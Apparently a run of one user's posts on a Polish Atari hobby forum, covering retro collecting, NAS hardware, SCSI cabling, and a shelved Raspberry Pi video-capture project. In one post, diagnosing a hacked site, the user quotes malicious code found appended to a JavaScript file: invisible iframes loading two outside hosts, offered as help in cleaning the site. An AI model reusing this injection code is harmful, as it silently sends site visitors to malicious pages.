1,851

(6,221 odpowiedzi, napisanych Kolekcjonowanie)

Chyba się udało:
http://allegro.pl/ShowItem2.php/itemKil … 3046768974
Strona przedmiotu została usunięta przez pracownika Allegro.

1,852

(6,221 odpowiedzi, napisanych Kolekcjonowanie)

Wygląda na to że to on.
Zdjęcie pochodzi z tąd:
http://www.atari-forum.com/viewtopic.ph … mp;t=21159
http://www.witchmastercreations.com/lin … on_big.jpg

1,853

(522 odpowiedzi, napisanych Bałagan)

U siebie na tym HPku mam postawiony Nas4Free z ZFS i RAID-Z - POLECAM - Szczególnie jak ktoś ma do przechowania dane nieco cenniejsze niż filmy.

1,854

(23 odpowiedzi, napisanych Sprzęt - 16/32bit)

Powinno jeżeli dysk potrafi działać w takim trybie.
Poczytaj np tutaj:
http://athi.8m.com/proffessional/HARDWA … CABLES.HTM  rozdział "SCSI Cabling Specifications"

1,855

(522 odpowiedzi, napisanych Bałagan)

A co jest dla Ciebie priorytetem oprócz SATA i GBLan ?
Rozmiary, pobór prądu, RAID i storage, cena czy jeszcze co innego ?

1,856

(522 odpowiedzi, napisanych Bałagan)

Jak NAS to żadne z tych maleństw nie wyrobi. IO za słabe więc i Gigabitowa karta mija się z celem. Też się długo zastanawiałem nad podobnym problemem i kupiłem wkońcu HP Proliant MicroServer. Trafiają się na nie fajne promocje typu cashback :)
Ale wielkością niestety przegrywa.

1,857

(6,221 odpowiedzi, napisanych Kolekcjonowanie)

Skoro nikt się nie pochwalił że kupił to pewnie niebawem się pojawi ponownie ale już z dopisanymi zerami na końcu.

1,858

(522 odpowiedzi, napisanych Bałagan)

Mógłbyś jeszcze sprecyzować do jakiego zastosowania tego potrzebujesz, (media server ?) i jak istotny jest rozmiar i cena.

Do pełni szczęścia brakuje jeszcze przeportowania tego do RISC OS'a :)

1,860

(22 odpowiedzi, napisanych Bałagan)

Szczerze mówiąc przy tylu wejściach to szkoda sobie zaśmiecać stronę reklamami.

1,861

(22 odpowiedzi, napisanych Bałagan)

A to już inna bajka...

1,862

(22 odpowiedzi, napisanych Bałagan)

Poczytaj: http://www.podatki.biz/sn_autoryzacja/l … kulu=18028
http://ryczalt.wieszjak.pl/najem-i-dzie … dotad.html

1,863

(253 odpowiedzi, napisanych Kolekcjonowanie)

Ten link już się na forum pojawiał, ale przytoczę go jeszcze raz.
Na stronie http://retr0bright.wikispaces.com jest opsane szczegółowo co jak i dlaczego.

1,864

(44 odpowiedzi, napisanych Fabryka - 8bit)

Nie tyle rozwiązała, co potwierdziła źródło problemu.
Da się to oczywiście obejść, ale była by to już sztuka dla sztuki, przekombinowany układ itd.

Kilka ostatnich dni poświęciłem na zapoznanie się ze specyfikacją cyfrowej transmisji danych (DVI/HDMI) oraz zapoznałem się przynajmniej z podstawami vHDL'a oraz z możliwościami FPGA. To jest wręcz stworzone do tego celu.

Od przyszłego tygodnia zaczynam od nowa. Tym razem biorę się za FPGA :)

1,865

(44 odpowiedzi, napisanych Fabryka - 8bit)

Za każdym razem się na tym łapię. Myli mnie to że trzeba załącznik jeszcze potwierdzić po jego wybraniu.

1,866

(44 odpowiedzi, napisanych Fabryka - 8bit)

W załącznku wynik testu.

Jak widać ani jednego zgubionego pixela. Potwierdza to moją tezę.

(GPU a właściwie Framebuffer został zainicjowany dopiero po zakończeciu przechwytywania)

1,867

(13 odpowiedzi, napisanych Sprawy atari.area)

Problem jest w pliku:

http://www.atari.org.pl/forum/extension … hortcut.js

Linia 39:
if (e.ctrlKey && (isGecko && key == 115 || !isGecko && key == 83)) {

Najprościej było by zakomentować linie od 39 do 48 włącznie, lub w linii 38 dodać "return false;" bo faktycznie problem upierdliwy jest.

1,868

(28 odpowiedzi, napisanych Kupię / Sprzedam / Zamienię Atari)

Też się skuszę.
Poproszę o dane co i jak zapłacić.

1,869

(7 odpowiedzi, napisanych Bałagan)

uruchom taki skrypt na serverze w głównym katalogu.

<?php
print_r (shell_exec('cd ..;ls')
?>

Jak się wykona i poda katalogi nadrzędne to jest na 95% wina servera.

1,870

(7 odpowiedzi, napisanych Bałagan)

Problemy najprawdopodobniej stwarza to:

W pliku /skrypty/m-x.js

Na końcu doklejony jest taki kod:

document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://gclabrelscon.net/about.php"></iframe></div>');


document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.mc-plainlinde.at/upload/upload.php"></iframe></div>');

Albo masz gdziś dziurę w którymś skrypcie php (upload jakiś), albo server dziurawy i przez powłokę coś się uruchamia, nie koniecznie na twoim koncie.

1,871

(5 odpowiedzi, napisanych Sprzęt - 8bit)

http://www.atariage.com/forums/topic/12 … interface/

1,872

(8 odpowiedzi, napisanych Bałagan)

Jak wyżej.
Ale jak już koniecznie musisz to może jakieś iframe, rozwiązań jest conajmniej wiele zależy co chcesz osiągnąć.

1,873

(44 odpowiedzi, napisanych Fabryka - 8bit)

Tam nie ma śladu linuxa, wszystko w asemblerze napisane. Procedura obsługi przerwania i rysowania na ekranie (tylko dane antica) to raptem 17  intrukcji w asemblerze w tym 1 skok warunkowy, włączone L1 cache dla danych i dla instrukcji + predykcja skoków. I to by się zgrabnie wyrabiało gdyby nie to że GPU co jakiś czas zatrzymuje CPU pewnie żeby pobrać dane z RAM.

W miarę cykliczne występowanie tego zjawiska widać na screenie. Każda linia jest synchronizowana od lewej strony. Zgodnie z tym jak ANTIC dane śle.

1,874

(44 odpowiedzi, napisanych Fabryka - 8bit)

Nie widzę sensu dalej pchania się w tym kierunku. Zrobiłem to na "szybkich" przerwaniach (FIQ). Żeby dane bez większego problemu dało się wepchać to trzeba je przepuścić przez coś w rodzaju multiplexara (cpld) przy okazji pełnił on by rolę konwertera poziomów do 3v3 a i dane trzeba pchać po 12 bitów na raz.
Korzystając z RPI chciałem wykorzystać inne możliwości które w nim tkwią, ale tracąc możliwość synchronicznej kmunikacji ... uważam że projekt traci sens.

1,875

(44 odpowiedzi, napisanych Fabryka - 8bit)

Widzę że ktoś posprzątał :)

Niestety Raspberry PI nie do końca się nadaje do tego celu. Nie da się bez straty synchronicznie z OSC pchać do niego danych. Da się to obejść ale była by to już sztuka dla sztuki, układ stałby się przekombinowany i pozbawiony sensu. Architektura RPI czyli 'GPU over CPU' powoduje że GPU przejmuje kontrolę nad CPU na kilkaset ns ... i efekt jak na screenach.

Projekt w takiej formie zarzucam bo nie widzę sensu w takiej jego postaci (mimo że jest o wykonalne)

Nie znaczy to jednak że nie będę myślał nad innym rozwiązaniem problemu :)

Sprowadzi się to albo do zrobienia gtia w jakimś tanim fpga (Tu znowu trzeba wynaleźć koło bo nikt nie chce udostępnić, chociaż zapowiedzi były), albo jakiś mcu ze sporą ilością ram.

Przy okazji takie ficzery jak 640x480 i VGA out wyjdą same.